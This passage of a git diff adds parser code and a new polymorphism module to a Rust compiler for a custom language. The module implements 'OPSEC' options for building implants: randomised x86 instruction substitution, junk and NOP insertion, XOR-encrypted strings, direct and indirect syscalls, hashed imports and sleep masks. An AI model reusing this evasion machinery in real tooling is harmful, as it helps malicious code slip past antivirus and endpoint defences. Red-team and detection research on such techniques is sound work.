{ else_body = self.parse_block()?; } + } + Ok(Stmt::If { cond, then_body, else_body }) + } + + fn parse_while(&mut self) -> Result { + self.advance(); + let cond = self.parse_expr()?; + let body = self.parse_block()?; + Ok(Stmt::While { cond, body }) + } + + fn parse_ret(&mut self) -> Result { + let here = self.peek_tok().clone(); + let span = Span::new(here.line, here.col); + self.advance(); + let value = if self.check(&Tok::Semi) { None } else { Some(self.parse_expr()?) }; + self.expect(&Tok::Semi, "`;`")?; + Ok(Stmt::Ret { value, span }) + } + + /// raise expr; - throw to the innermost try handler. Lowers via + /// macros::emit_raise. The handler restores rsp/rbp/pc; if no + /// handler is installed the program exits with rax = 0xFF. + fn parse_raise(&mut self) -> Result { + let here = self.peek_tok().clone(); + let span = Span::new(here.line, here.col); + self.advance(); + let value = self.parse_expr()?; + self.expect(&Tok::Semi, "`;`")?; + Ok(Stmt::Raise { value, span }) + } + + fn parse_try(&mut self) -> Result { + self.advance(); + let body = self.parse_block()?; + self.expect(&Tok::Catch, "`catch`")?; + let err_name = self.eat_ident()?; + let handler = self.parse_block()?; + Ok(Stmt::Try { body, err_name, handler }) + } + + fn parse_asm(&mut self) -> Result { + self.advance(); // consume `asm` keyword + self.expect(&Tok::LBrace, "`{`")?; + let mut lines: Vec = Vec::new(); + let mut cur_line: u32 = 0; + let mut cur_col: u32 = 0; + let mut buf = String::new(); + + while !self.check(&Tok::RBrace) { + // Detect end-of-statement: an explicit ; OR the next + // token sits on a different source line than the + // accumulated buffer (newline-implicit terminator). + let here = self.peek_tok(); + let here_line = here.line; + let here_col = here.col; + let new_line = !buf.is_empty() && here_line != cur_line; + if new_line { + flush_asm_buf(&mut buf, &mut lines, cur_line, cur_col)?; + } + + if self.matches(&Tok::Semi) { + flush_asm_buf(&mut buf, &mut lines, cur_line, cur_col)?; + continue; + } + + if buf.is_empty() { + cur_line = here_line; + cur_col = here_col; + } + + let t = self.advance(); + asm_append_token(&mut buf, &t); + } + flush_asm_buf(&mut buf, &mut lines, cur_line, cur_col)?; + self.expect(&Tok::RBrace, "`}`")?; + Ok(Stmt::Asm(lines)) + } + + fn parse_expr(&mut self) -> Result { self.parse_assign() } + + fn parse_assign(&mut self) -> Result { + let lhs = self.parse_or()?; + if self.matches(&Tok::Assign) { + let value = self.parse_assign()?; + return match lhs { + Expr::Var(name) => { + Ok(Expr::Assign { name, value: Box::new(value) }) + } + Expr::Field { base, field } => { + Ok(Expr::FieldAssign { base, field, value: Box::new(value) }) + } + // *ptr = value - deref-assignment. The unary * parsed + // earlier shows up here as Unary { op: "*", operand }; + // pull out the operand and build a DerefAssign. + Expr::Unary { op, operand } if op == "*" => { + Ok(Expr::DerefAssign { ptr: operand, value: Box::new(value) }) + } + // buf[i] = value - indexed-assignment. The postfix [i] + // parsed earlier shows up here as Index { base, index }. + Expr::Index { base, index } => { + Ok(Expr::IndexAssign { base, index, value: Box::new(value) }) + } + _ => Err("invalid assignment target".into()), + }; + } + Ok(lhs) + } + fn parse_or(&mut self) -> Result { + let mut lhs = self.parse_and()?; + while self.matches(&Tok::OrOr) { + let rhs = self.parse_and()?; + lhs = Expr::Binary { op: "||".into(), lhs: Box::new(lhs), rhs: Box::new(rhs) }; + } + Ok(lhs) + } + fn parse_and(&mut self) -> Result { + let mut lhs = self.parse_bor()?; + while self.matches(&Tok::AndAnd) { + let rhs = self.parse_bor()?; + lhs = Expr::Binary { op: "&&".into(), lhs: Box::new(lhs), rhs: Box::new(rhs) }; + } + Ok(lhs) + } + fn parse_bor(&mut self) -> Result { + let mut lhs = self.parse_bxor()?; + while self.matches(&Tok::Pipe) { + let rhs = self.parse_bxor()?; + lhs = Expr::Binary { op: "|".into(), lhs: Box::new(lhs), rhs: Box::new(rhs) }; + } + Ok(lhs) + } + fn parse_bxor(&mut self) -> Result { + let mut lhs = self.parse_band()?; + while self.matches(&Tok::Caret) { + let rhs = self.parse_band()?; + lhs = Expr::Binary { op: "^".into(), lhs: Box::new(lhs), rhs: Box::new(rhs) }; + } + Ok(lhs) + } + fn parse_band(&mut self) -> Result { + let mut lhs = self.parse_equality()?; + // Binary & between two expressions is bitwise AND. Unary &expr + // (address-of) is handled in parse_unary; the position disambiguates. + while self.matches(&Tok::Amp) { + let rhs = self.parse_equality()?; + lhs = Expr::Binary { op: "&".into(), lhs: Box::new(lhs), rhs: Box::new(rhs) }; + } + Ok(lhs) + } + fn parse_equality(&mut self) -> Result { + let mut lhs = self.parse_comparison()?; + loop { + let op = if self.matches(&Tok::EqEq) { "==" } + else if self.matches(&Tok::NotEq) { "!=" } + else { break }; + let rhs = self.parse_comparison()?; + lhs = Expr::Binary { op: op.into(), lhs: Box::new(lhs), rhs: Box::new(rhs) }; + } + Ok(lhs) + } + fn parse_comparison(&mut self) -> Result { + let mut lhs = self.parse_shift()?; + loop { + let op = if self.matches(&Tok::Lt) { "<" } + else if self.matches(&Tok::Gt) { ">" } + else if self.matches(&Tok::LtEq) { "<=" } + else if self.matches(&Tok::GtEq) { ">=" } + else { break }; + let rhs = self.parse_shift()?; + lhs = Expr::Binary { op: op.into(), lhs: Box::new(lhs), rhs: Box::new(rhs) }; + } + Ok(lhs) + } + fn parse_shift(&mut self) -> Result { + let mut lhs = self.parse_addsub()?; + loop { + let op = if self.matches(&Tok::Shl) { "<<" } + else if self.matches(&Tok::Shr) { ">>" } + else { break }; + let rhs = self.parse_addsub()?; + lhs = Expr::Binary { op: op.into(), lhs: Box::new(lhs), rhs: Box::new(rhs) }; + } + Ok(lhs) + } + fn parse_addsub(&mut self) -> Result { + let mut lhs = self.parse_muldiv()?; + loop { + let op = if self.matches(&Tok::Plus) { "+" } + else if self.matches(&Tok::Minus) { "-" } + else { break }; + let rhs = self.parse_muldiv()?; + lhs = Expr::Binary { op: op.into(), lhs: Box::new(lhs), rhs: Box::new(rhs) }; + } + Ok(lhs) + } + fn parse_muldiv(&mut self) -> Result { + let mut lhs = self.parse_unary()?; + loop { + let op = if self.matches(&Tok::Star) { "*" } + else if self.matches(&Tok::Slash) { "/" } + else if self.matches(&Tok::Percent) { "%" } + else { break }; + let rhs = self.parse_unary()?; + lhs = Expr::Binary { op: op.into(), lhs: Box::new(lhs), rhs: Box::new(rhs) }; + } + Ok(lhs) + } + fn parse_unary(&mut self) -> Result { + if self.matches(&Tok::Minus) { + let inner = self.parse_unary()?; + return Ok(Expr::Unary { op: "-".into(), operand: Box::new(inner) }); + } + if self.matches(&Tok::Bang) { + let inner = self.parse_unary()?; + return Ok(Expr::Unary { op: "!".into(), operand: Box::new(inner) }); + } + if self.matches(&Tok::Tilde) { + let inner = self.parse_unary()?; + return Ok(Expr::Unary { op: "~".into(), operand: Box::new(inner) }); + } + // *expr - pointer dereference. Distinguished from multiplication + // by position: at the start of a unary (no left operand pending), + // * is always prefix-deref. + if self.matches(&Tok::Star) { + let inner = self.parse_unary()?; + return Ok(Expr::Unary { op: "*".into(), operand: Box::new(inner) }); + } + // &expr - address-of. + if self.matches(&Tok::Amp) { + let inner = self.parse_unary()?; + return Ok(Expr::Unary { op: "&".into(), operand: Box::new(inner) }); + } + self.parse_primary() + } + fn parse_primary(&mut self) -> Result { + match self.peek().clone() { + Tok::Int(n) => { self.advance(); Ok(Expr::Int(n)) } + Tok::Str(s) => { self.advance(); Ok(Expr::Str(s)) } + Tok::True => { self.advance(); Ok(Expr::Bool(true)) } + Tok::False => { self.advance(); Ok(Expr::Bool(false)) } + Tok::Sizeof => { + self.advance(); + self.expect(&Tok::LParen, "`(` after `sizeof`")?; + let ty = self.parse_type()?; + self.expect(&Tok::RParen, "`)`")?; + Ok(Expr::SizeOf { ty }) + } + Tok::LParen => { + self.advance(); + if let Some(ty) = self.try_take_cast_type() { + self.expect(&Tok::RParen, "`)`")?; + let inner = self.parse_unary()?; + Ok(Expr::Cast { ty, expr: Box::new(inner) }) + } else { + let e = self.parse_expr()?; + self.expect(&Tok::RParen, "`)`")?; + // A parenthesised expression can still be the base of a + // field-access chain. + self.parse_field_chain(e) + } + } + Tok::Str_ => { + let here = self.peek_tok().clone(); + let span = Span::new(here.line, here.col); + self.advance(); + if self.matches(&Tok::Dot) || self.matches(&Tok::Arrow) { + let second = self.eat_ident()?; + if self.matches(&Tok::LParen) { + let args = self.parse_call_args()?; + Ok(Expr::Call { ns: "str".into(), fname: second, args, span }) + } else { + Err(format!( + "parse error at {}:{}: `str.{}` must be a call \ + (e.g. `str.format(...)`)", + here.line, here.col, second + )) + } + } else { + Err(format!( + "parse error at {}:{}: `str` is a type keyword, \ + not a value - did you mean `str.format(...)`?", + here.line, here.col + )) + } + } + Tok::Ident(first) => { + let here = self.peek_tok().clone(); + let span = Span::new(here.line, here.col); + self.advance(); + if self.type_names.contains(&first) && self.check(&Tok::LBrace) { + self.advance(); // consume `{` + let mut fields: Vec<(String, Expr)> = Vec::new(); + while !self.check(&Tok::RBrace) { + let fname = self.eat_ident()?; + self.expect(&Tok::Colon, "`:`")?; + let fval = self.parse_expr()?; + fields.push((fname, fval)); + if !self.matches(&Tok::Comma) { break; } + } + self.expect(&Tok::RBrace, "`}`")?; + return Ok(Expr::StructLit { ty: first, fields, span }); + } + if self.matches(&Tok::Dot) || self.matches(&Tok::Arrow) { + let second = self.eat_ident()?; + if self.matches(&Tok::LParen) { + let args = self.parse_call_args()?; + Ok(Expr::Call { ns: first, fname: second, args, span }) + } else { + let base = Expr::Var(first); + let init = Expr::Field { base: Box::new(base), field: second }; + self.parse_field_chain(init) + } + } else if self.matches(&Tok::LParen) { + // Local-function call: foo + let args = self.parse_call_args()?; + Ok(Expr::Call { ns: String::new(), fname: first, args, span }) + } else { + // Bare var; may have postfix field access. + self.parse_field_chain(Expr::Var(first)) + } + } + other => { + let t = self.peek_tok(); + Err(format!("parse error at {}:{}: unexpected {:?}", t.line, t.col, other)) + } + } + } +} + + +fn flush_asm_buf( + buf: &mut String, + lines: &mut Vec, + line: u32, + col: u32, +) -> Result<(), String> { + let s = buf.trim(); + if !s.is_empty() { + let body: AsmBody = parse_asm_line(s)?; + lines.push(AsmLine { line, col, body }); + } + buf.clear(); + Ok(()) +} + +fn asm_append_token(buf: &mut String, t: &Tok) { + let binds_left = matches!(t, + Tok::RBrack | Tok::Colon | Tok::Comma + ); + let prev_binds_right = buf.ends_with('%') || buf.ends_with('['); + + if !buf.is_empty() && !binds_left && !prev_binds_right { + buf.push(' '); + } + match t { + Tok::Ident(s) => buf.push_str(s), + Tok::Int(n) => { + // Preserve hex form for big values so the asm-line + // parser sees 0x12345 rather than a decimal blob. + if (0..=0xFF).contains(n) { + buf.push_str(&format!("0x{:x}", n)); + } else { + buf.push_str(&n.to_string()); + } + } + Tok::Comma => buf.push(','), + Tok::Plus => buf.push('+'), + Tok::Minus => buf.push('-'), + Tok::Star => buf.push('*'), + Tok::Percent => buf.push('%'), + Tok::LBrack => buf.push('['), + Tok::RBrack => buf.push(']'), + Tok::Colon => buf.push(':'), + Tok::Dot => buf.push('.'), + Tok::Ret => buf.push_str("ret"), + Tok::Asm => buf.push_str("asm"), // asm-as-ident rare; safe to pass through + Tok::Int_ => buf.push_str("int"), + // Anything else is a host-grammar token that has no + // meaning inside asm - surface it so a typo doesn't get + // silently dropped. + other => buf.push_str(&format!("", other)), + } +} diff --git a/src/polymorphism.rs b/src/polymorphism.rs new file mode 100644 index 0000000..64763a1 --- /dev/null +++ b/src/polymorphism.rs @@ -0,0 +1,952 @@ + +use crate::encoder::{Encoder, Reg64, Cond}; + +// Configuration + +/// Active OPSEC techniques. Default = none. +#[derive(Debug, Clone, Default)] +pub struct OpsecConfig { + pub poly: bool, + pub poly_deep: bool, + pub junk_level: u8, + pub reorder_functions: bool, + /// XOR-encrypt rdata/data + decryptor at entry. Standard mode only; + /// BOF rdata is RO. + pub strings_xor: bool, + pub nop_sled: bool, + /// Auto-include stdlib/opsec/direct_syscall.etpy's + /// [Override] syscall stub. + pub direct_syscalls: bool, + /// Auto-include stdlib/opsec/indirect_syscall.etpy. Mutually + /// exclusive with direct_syscalls (same slot). + pub indirect_syscalls: bool, + pub hashed_imports: bool, + /// Auto-included sleep-mask template ([Hook]). + /// Variants differ in wait primitive and cipher. + pub sleep_mask: SleepMaskVariant, + /// Rebuild short string literals on the stack via mov [rsp+N], + /// imm64 runs instead of .rdata pointers. Composes with + /// strings_xor (stack-built strings excluded from the XOR pool). + pub stack_strings: bool, + /// None = system-time nanos at build time; Some = deterministic. + pub seed: Option, +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq, Default)] +pub enum SleepMaskVariant { + #[default] + None, + Simple, + Ekko, + Foliage, +} + +impl SleepMaskVariant { + /// Stdlib sub-path the driver auto-uses. None means + /// "splice nothing - the operator wrote their own". + pub fn stdlib_subpath(self) -> Option<&'static str> { + match self { + Self::None => None, + Self::Simple => Some("opsec/sleep_simple.etpy"), + Self::Ekko => Some("opsec/sleep_ekko.etpy"), + Self::Foliage => Some("opsec/sleep_foliage.etpy"), + } + } + pub fn name(self) -> &'static str { + match self { + Self::None => "none", + Self::Simple => "simple", + Self::Ekko => "ekko", + Self::Foliage => "foliage", + } + } +} + +impl OpsecConfig { + pub fn parse(s: &str) -> Result { + let mut cfg = Self::default(); + let trimmed = s.trim(); + if trimmed.is_empty() { return Ok(cfg); } + for token in trimmed.split(',') { + let raw = token.trim(); + match raw { + "none" | "" => {} + "all" => { + cfg.poly = true; + cfg.poly_deep = true; + cfg.strings_xor = true; + cfg.nop_sled = true; + cfg.direct_syscalls = true; + cfg.hashed_imports = true; + cfg.stack_strings = true; + } + "poly" => cfg.poly = true, + "poly=deep" + | "polydeep" + | "poly_deep" => { cfg.poly = true; cfg.poly_deep = true; } + "reorder" + | "reorder_fns" + | "reorder_functions" => cfg.reorder_functions = true, + _ if raw.starts_with("junk=") => { + let v = raw.split_once('=').map(|(_, v)| v).unwrap_or(""); + let n: u8 = v.trim().parse().map_err(|_| format!( + "junk={}: expected an integer level in 1..=5", v + ))?; + if !(1..=5).contains(&n) { + return Err(format!( + "junk={}: level must be in 1..=5 (0 = off)", n + )); + } + // Junk insertion needs poly_deep's instruction- + // boundary detection. Auto-enable both so a + // bare junk=N flag does what the operator means. + cfg.poly = true; + cfg.poly_deep = true; + cfg.junk_level = n; + } + "strings_xor" + | "strings" => cfg.strings_xor = true, + "stack_strings" + | "stackstr" => cfg.stack_strings = true, + "nop_sled" + | "nops" => cfg.nop_sled = true, + "direct_syscalls" + | "syscall" + | "syscalls" => cfg.direct_syscalls = true, + "indirect_syscalls" + | "indirect" + | "isyscalls" => cfg.indirect_syscalls = true, + "hashed_imports" + | "hashed" + | "import_hash" + | "ihash" => cfg.hashed_imports = true, + _ if raw.starts_with("sleep_mask=") || raw.starts_with("sleepmask=") => { + let v = raw.split_once('=').map(|(_, v)| v).unwrap_or(""); + cfg.sleep_mask = match v.trim() { + "none" | "" => SleepMaskVariant::None, + "simple" | "xor" => SleepMaskVariant::Simple, + "ekko" => SleepMaskVariant::Ekko, + "foliage" => SleepMaskVariant::Foliage, + other => return Err(format!( + "unknown sleep_mask variant `{other}` - valid: \ + simple, ekko, foliage, none" + )), + }; + } + other => return Err(format!( + "unknown opsec mode `{other}` - valid: poly, strings_xor, \ + stack_strings, nop_sled, direct_syscalls, \ + indirect_syscalls, hashed_imports, \ + sleep_mask=, all, none" + )), + } + } + // Indirect wins over direct when both are asked (e.g. via + // --opsec=all,indirect_syscalls). Both occupy the + // [Override] slot, so we have to pick one. + if cfg.indirect_syscalls { + cfg.direct_syscalls = false; + } + Ok(cfg) + } + + /// Resolve --seed=... into a concrete u64. + /// "random" to system-time nanos; hex / decimal to that value. + pub fn parse_seed(s: &str) -> Result { + let s = s.trim(); + if s.is_empty() || s == "random" { + use std::time::{SystemTime, UNIX_EPOCH}; + let nanos = SystemTime::now() + .duration_since(UNIX_EPOCH) + .map(|d| d.as_nanos() as u64) + .unwrap_or(0xDEADBEEF_DEADBEEF); + return Ok(nanos); + } + if let Some(h) = s.strip_prefix("0x").or_else(|| s.strip_prefix("0X")) { + return u64::from_str_radix(h, 16) + .map_err(|e| format!("--seed `{s}`: {e}")); + } + s.parse::().map_err(|e| format!("--seed `{s}`: {e}")) + } + + /// True iff any technique is enabled - codegen / driver use + /// this to short-circuit when OPSEC is fully off. + pub fn any(&self) -> bool { + self.poly || self.strings_xor || self.nop_sled + || self.direct_syscalls || self.indirect_syscalls + || self.hashed_imports || self.stack_strings + || self.sleep_mask != SleepMaskVariant::None + || self.reorder_functions + || self.junk_level > 0 + } +} + + +pub struct Rng { state: u64 } + +impl Rng { + pub fn new(seed: u64) -> Self { + // xorshift requires non-zero state. + Self { state: if seed == 0 { 0xDEAD_BEEF_CAFE_F00D } else { seed } } + } + pub fn next_u64(&mut self) -> u64 { + let mut x = self.state; + x ^= x << 13; + x ^= x >> 7; + x ^= x << 17; + self.state = x; + x + } + pub fn next_u8(&mut self) -> u8 { self.next_u64() as u8 } + /// Uniform integer in 0..n. n == 0 returns 0. + pub fn range(&mut self, n: u64) -> u64 { + if n == 0 { 0 } else { self.next_u64() % n } + } + /// One-in-n probability, returns true with rate 1/n. + pub fn one_in(&mut self, n: u64) -> bool { + self.range(n) == 0 + } +} + + +const NOP_VARIANTS: &[&[u8]] = &[ + &[0x90], // 1 + &[0x66, 0x90], // 2 + &[0x0F, 0x1F, 0x00], // 3 + &[0x0F, 0x1F, 0x40, 0x00], // 4 + &[0x0F, 0x1F, 0x44, 0x00, 0x00], // 5 + &[0x66, 0x0F, 0x1F, 0x44, 0x00, 0x00], // 6 + &[0x0F, 0x1F, 0x80, 0x00, 0x00, 0x00, 0x00], // 7 + &[0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00], // 8 + &[0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00], // 9 +]; + +/// Emit a single multi-byte NOP of exactly n bytes (1..=9). Used +/// by codegen-level NOP-sled insertion. Larger sleds chain these. +pub fn emit_nop_block(enc: &mut Encoder, n: usize) { + let n = n.clamp(1, NOP_VARIANTS.len()); + for &b in NOP_VARIANTS[n - 1] { + enc.emit_raw(b); + } +} + +/// Emit total bytes worth of NOPs by chaining 1-9 byte variants. +/// The block sizes themselves are randomised via rng so two +/// builds with the same total produce different byte sequences. +pub fn emit_nop_sled(enc: &mut Encoder, rng: &mut Rng, total: usize) { + let mut remaining = total; + while remaining > 0 { + let max = remaining.min(NOP_VARIANTS.len()); + let block = 1 + (rng.range(max as u64) as usize); + emit_nop_block(enc, block); + remaining -= block; + } +} + +// Post-codegen pass entry point. + +pub fn transform(enc: &mut Encoder, cfg: &OpsecConfig, rng: &mut Rng) { + if !cfg.any() { return; } + if cfg.poly { + let reloc_ranges = enc.code_reloc_ranges(); + substitute_equivalents(enc, rng, &reloc_ranges); + redecompose_nop_runs(enc, rng, &reloc_ranges); + } + if cfg.poly_deep { + expand_equivalents(enc, rng, cfg.junk_level); + } + if cfg.strings_xor { + encrypt_rdata_data(enc, rng); + } +} + + +/// True if i..i+len overlaps any reloc patch site. +fn overlaps_reloc(i: usize, len: usize, reloc_ranges: &[std::ops::Range]) -> bool { + let end = i + len; + reloc_ranges.iter().any(|r| i < r.end && r.start < end) +} + +/// Top-level: walk the code buffer, attempt each known +/// transformation family at every position. First match wins +/// (transforms don't compose at a single site). +fn substitute_equivalents( + enc: &mut Encoder, + rng: &mut Rng, + reloc_ranges: &[std::ops::Range], +) { + let mut i = 0; + while i < enc.code.len() { + let consumed = + try_xor_sub_swap(&mut enc.code, rng, i, reloc_ranges) + .or_else(|| try_mov_reg_reg_swap(&mut enc.code, rng, i, reloc_ranges)) + .or_else(|| try_test_or_and_swap(&mut enc.code, rng, i, reloc_ranges)) + .unwrap_or(1); + i += consumed; + } +} + + +fn is_rex_w(b: u8) -> bool { + (b & 0xF0) == 0x40 && (b & 0x08) != 0 +} + +fn try_xor_sub_swap( + code: &mut [u8], + rng: &mut Rng, + i: usize, + reloc_ranges: &[std::ops::Range], +) -> Option { + // 2-byte form: 31 /r, modrm.mod=11, reg == rm. + if i + 2 <= code.len() + && code[i] == 0x31 + && (code[i + 1] & 0xC0) == 0xC0 + && ((code[i + 1] >> 3) & 7) == (code[i + 1] & 7) + && !overlaps_reloc(i, 2, reloc_ranges) + { + if rng.one_in(2) { + code[i] = 0x29; + } + return Some(2); + } + // Also accept the already-substituted form so the pass is + // idempotent across multiple builds with the same seed. + if i + 2 <= code.len() + && code[i] == 0x29 + && (code[i + 1] & 0xC0) == 0xC0 + && ((code[i + 1] >> 3) & 7) == (code[i + 1] & 7) + && !overlaps_reloc(i, 2, reloc_ranges) + { + if rng.one_in(2) { + code[i] = 0x31; + } + return Some(2); + } + + // 3-byte REX form: REX.W (any combo of R/X/B), 31|29 /r, + // modrm.mod=11, modrm.reg == modrm.rm. + if i + 3 <= code.len() + && is_rex_w(code[i]) + && (code[i] & 0x02) == 0 // X must be 0 + && (code[i + 1] == 0x31 || code[i + 1] == 0x29) + && (code[i + 2] & 0xC0) == 0xC0 + && ((code[i + 2] >> 3) & 7) == (code[i + 2] & 7) + && ((code[i] & 0x04) >> 2) == (code[i] & 0x01) // REX.R == REX.B + && !overlaps_reloc(i, 3, reloc_ranges) + { + if rng.one_in(2) { + code[i + 1] ^= 0x31 ^ 0x29; // flip between the two opcodes + } + return Some(3); + } + + None +} + + +fn try_mov_reg_reg_swap( + code: &mut [u8], + rng: &mut Rng, + i: usize, + reloc_ranges: &[std::ops::Range], +) -> Option { + if i + 3 > code.len() { return None; } + let rex = code[i]; + let opcode = code[i + 1]; + let modrm = code[i + 2]; + if !is_rex_w(rex) { return None; } + if (rex & 0x02) != 0 { return None; } // X must be 0 + + let in_mr = opcode == 0x89 && (modrm & 0xC0) == 0xC0; + let in_rm = opcode == 0x8B && (modrm & 0xC0) == 0xC0; + let in_lea = opcode == 0x8D && (modrm & 0xC0) == 0x00 // mod = 00 + && (modrm & 7) != 4 // not SIB + && (modrm & 7) != 5; // not RIP-relative + + if !(in_mr || in_rm || in_lea) { return None; } + if overlaps_reloc(i, 3, reloc_ranges) { return None; } + + // Decode into canonical (dst_low3, src_low3, dst_ext, src_ext). + let reg_field = (modrm >> 3) & 7; + let rm_field = modrm & 7; + let rex_r = (rex >> 2) & 1; + let rex_b = rex & 1; + + let (dst_low3, src_low3, dst_ext, src_ext) = if in_mr { + // MR: reg = src, rm = dst + (rm_field, reg_field, rex_b == 1, rex_r == 1) + } else { + // RM and LEA: reg = dst, rm = src + (reg_field, rm_field, rex_r == 1, rex_b == 1) + }; + + let lea_ok = src_low3 != 4 && src_low3 != 5; + let n = if lea_ok { 3 } else { 2 }; + let pick = rng.range(n as u64) as u8; + let target = match pick { 0 => 0x89, 1 => 0x8B, _ => 0x8D }; + + let (new_reg_field, new_rm_field, new_rex_r, new_rex_b, new_mod) = match target { + 0x89 => { + // MR: reg = src, rm = dst, mod = 11 + (src_low3, dst_low3, src_ext, dst_ext, 0xC0u8) + } + 0x8B => { + // RM: reg = dst, rm = src, mod = 11 + (dst_low3, src_low3, dst_ext, src_ext, 0xC0u8) + } + _ /* 0x8D */ => { + // LEA [reg]: reg = dst, rm = src, mod = 00 + (dst_low3, src_low3, dst_ext, src_ext, 0x00u8) + } + }; + + let new_rex = 0x48 + | (rex & 0x08) // W (already 1) + | ((new_rex_r as u8) << 2) + | (new_rex_b as u8); + let new_modrm = new_mod | ((new_reg_field & 7) << 3) | (new_rm_field & 7); + + code[i] = new_rex; + code[i + 1] = target; + code[i + 2] = new_modrm; + Some(3) +} + + +fn try_test_or_and_swap( + code: &mut [u8], + rng: &mut Rng, + i: usize, + reloc_ranges: &[std::ops::Range], +) -> Option { + if i + 3 > code.len() { return None; } + let rex = code[i]; + let opcode = code[i + 1]; + let modrm = code[i + 2]; + if !is_rex_w(rex) { return None; } + if (rex & 0x02) != 0 { return None; } // X = 0 + + // We only act on the same-register form; otherwise or/and + // would actually mutate the destination. + if (modrm & 0xC0) != 0xC0 { return None; } + if ((modrm >> 3) & 7) != (modrm & 7) { return None; } + if ((rex & 0x04) >> 2) != (rex & 0x01) { return None; } // R == B + + let is_test = opcode == 0x85; + let is_or = opcode == 0x09; + let is_and = opcode == 0x21; + if !(is_test || is_or || is_and) { return None; } + if overlaps_reloc(i, 3, reloc_ranges) { return None; } + + // Pick one of the three opcodes uniformly - staying on the + // original is a valid outcome. + let pick = rng.range(3); + code[i + 1] = match pick { 0 => 0x85, 1 => 0x09, _ => 0x21 }; + Some(3) +} + + +fn nop_prefix_len(code: &[u8]) -> usize { + // Try longest first; NOP_VARIANTS is ordered 1..=9. + for n in (1..=NOP_VARIANTS.len()).rev() { + let v = NOP_VARIANTS[n - 1]; + if code.len() >= v.len() && &code[..v.len()] == v { + return v.len(); + } + } + 0 +} + +fn redecompose_nop_runs( + enc: &mut Encoder, + rng: &mut Rng, + reloc_ranges: &[std::ops::Range], +) { + let mut i = 0; + while i < enc.code.len() { + // Find the start of a NOP run. + let n0 = nop_prefix_len(&enc.code[i..]); + if n0 == 0 { i += 1; continue; } + + // Walk forward to find the total run length. + let start = i; + let mut j = i + n0; + while j < enc.code.len() { + let n = nop_prefix_len(&enc.code[j..]); + if n == 0 { break; } + j += n; + } + let run_len = j - start; + + if !overlaps_reloc(start, run_len, reloc_ranges) && run_len >= 2 { + let mut staging: Vec = Vec::with_capacity(run_len); + let mut remaining = run_len; + while remaining > 0 { + let max = remaining.min(NOP_VARIANTS.len()); + let block = 1 + (rng.range(max as u64) as usize); + staging.extend_from_slice(NOP_VARIANTS[block - 1]); + remaining -= block; + } + enc.code[start..start + run_len].copy_from_slice(&staging); + } + i = j; + } +} + + +/// True if any label position falls strictly inside at..at+len. +/// A label exactly at at is allowed (it points to the start of +/// the replacement sequence, which is the same byte offset). +fn label_inside(at: usize, len: usize, label_positions: &[usize]) -> bool { + label_positions.iter().any(|&p| p > at && p < at + len) +} + +/// Walk the code buffer, splicing same-semantic length-changing +/// rewrites at each candidate site. Re-fetches reloc and label +/// positions inside the loop because both shift with every splice. +fn expand_equivalents(enc: &mut Encoder, rng: &mut Rng, junk_level: u8) { + let mut i = 0; + while i < enc.code.len() { + let reloc_ranges = enc.code_reloc_ranges(); + let label_positions = enc.code_label_positions(); + let consumed = try_expand_xor_reg_reg( + enc, rng, i, &reloc_ranges, &label_positions, + ) + .or_else(|| try_expand_mov_reg_reg( + enc, rng, i, &reloc_ranges, &label_positions, + )) + .or_else(|| try_expand_test_reg_reg( + enc, rng, i, &reloc_ranges, &label_positions, + )) + .or_else(|| try_expand_mov_reg_imm64( + enc, rng, i, &reloc_ranges, &label_positions, + )) + .unwrap_or(0); + if consumed > 0 { + let after = i + consumed; + let junk_inserted = maybe_insert_junk( + enc, rng, after, junk_level, &reloc_ranges, + &label_positions, + ); + i = after + junk_inserted; + } else { + i += 1; + } + } +} + +fn try_expand_xor_reg_reg( + enc: &mut Encoder, + rng: &mut Rng, + i: usize, + reloc_ranges: &[std::ops::Range], + label_positions: &[usize], +) -> Option { + if i + 2 <= enc.code.len() + && enc.code[i] == 0x31 + && (enc.code[i + 1] & 0xC0) == 0xC0 + && ((enc.code[i + 1] >> 3) & 7) == (enc.code[i + 1] & 7) + && !overlaps_reloc(i, 2, reloc_ranges) + { + let modrm = enc.code[i + 1]; + let dst_lo3 = modrm & 7; + return Some(expand_xor_2byte(enc, rng, i, dst_lo3, label_positions)); + } + + if i + 3 > enc.code.len() { return None; } + let rex = enc.code[i]; + let op = enc.code[i + 1]; + let modrm = enc.code[i + 2]; + + if !is_rex_w(rex) { return None; } + if (rex & 0x02) != 0 { return None; } // X must be 0 + if op != 0x31 { return None; } // xor /r + if (modrm & 0xC0) != 0xC0 { return None; } // mod = 11 + if ((modrm >> 3) & 7) != (modrm & 7) { return None; } // reg == rm + if ((rex & 0x04) >> 2) != (rex & 0x01) { return None; } + if overlaps_reloc(i, 3, reloc_ranges) { return None; } + + Some(expand_xor_3byte(enc, rng, i, rex, modrm, label_positions)) +} + +fn expand_xor_2byte( + enc: &mut Encoder, + rng: &mut Rng, + i: usize, + dst_lo3: u8, + label_positions: &[usize], +) -> usize { + let dice = rng.range(20); + + // Variant A (~30%): keep original. + if dice < 6 { return 2; } + + // Variant B (~25%): and reg, 0. + if dice < 11 { + let new_modrm = 0xC0 | (4 << 3) | dst_lo3; + let new_bytes = [0x83, new_modrm, 0x00]; + if label_inside(i, 2, label_positions) { return 2; } + enc.splice(i, 2, &new_bytes); + return new_bytes.len(); + } + + // Variant C (~25%): mov reg, 0 via B8+rd imm32. + if dice < 16 { + let new_bytes = [0xB8 | dst_lo3, 0x00, 0x00, 0x00, 0x00]; + if label_inside(i, 2, label_positions) { return 2; } + enc.splice(i, 2, &new_bytes); + return new_bytes.len(); + } + + // Variant D (~20%): nop + original. + let new_bytes = [0x90, 0x31, enc.code[i + 1]]; + if label_inside(i, 2, label_positions) { return 2; } + enc.splice(i, 2, &new_bytes); + new_bytes.len() +} + +fn expand_xor_3byte( + enc: &mut Encoder, + rng: &mut Rng, + i: usize, + rex: u8, + modrm: u8, + label_positions: &[usize], +) -> usize { + let dice = rng.range(20); + + if dice < 6 { return 3; } + + if dice < 11 { + let dst_rm = modrm & 7; + let new_modrm = 0xC0 | (4 << 3) | dst_rm; + let new_rex = (rex & !0x04) | ((rex & 0x01) << 2); + let new_bytes = [new_rex, 0x83, new_modrm, 0x00]; + if label_inside(i, 3, label_positions) { return 3; } + enc.splice(i, 3, &new_bytes); + return new_bytes.len(); + } + + if dice < 16 { + let dst_rm = modrm & 7; + let new_modrm = 0xC0 | dst_rm; + let new_rex = rex & !0x04; + let new_bytes = [new_rex, 0xC7, new_modrm, 0x00, 0x00, 0x00, 0x00]; + if 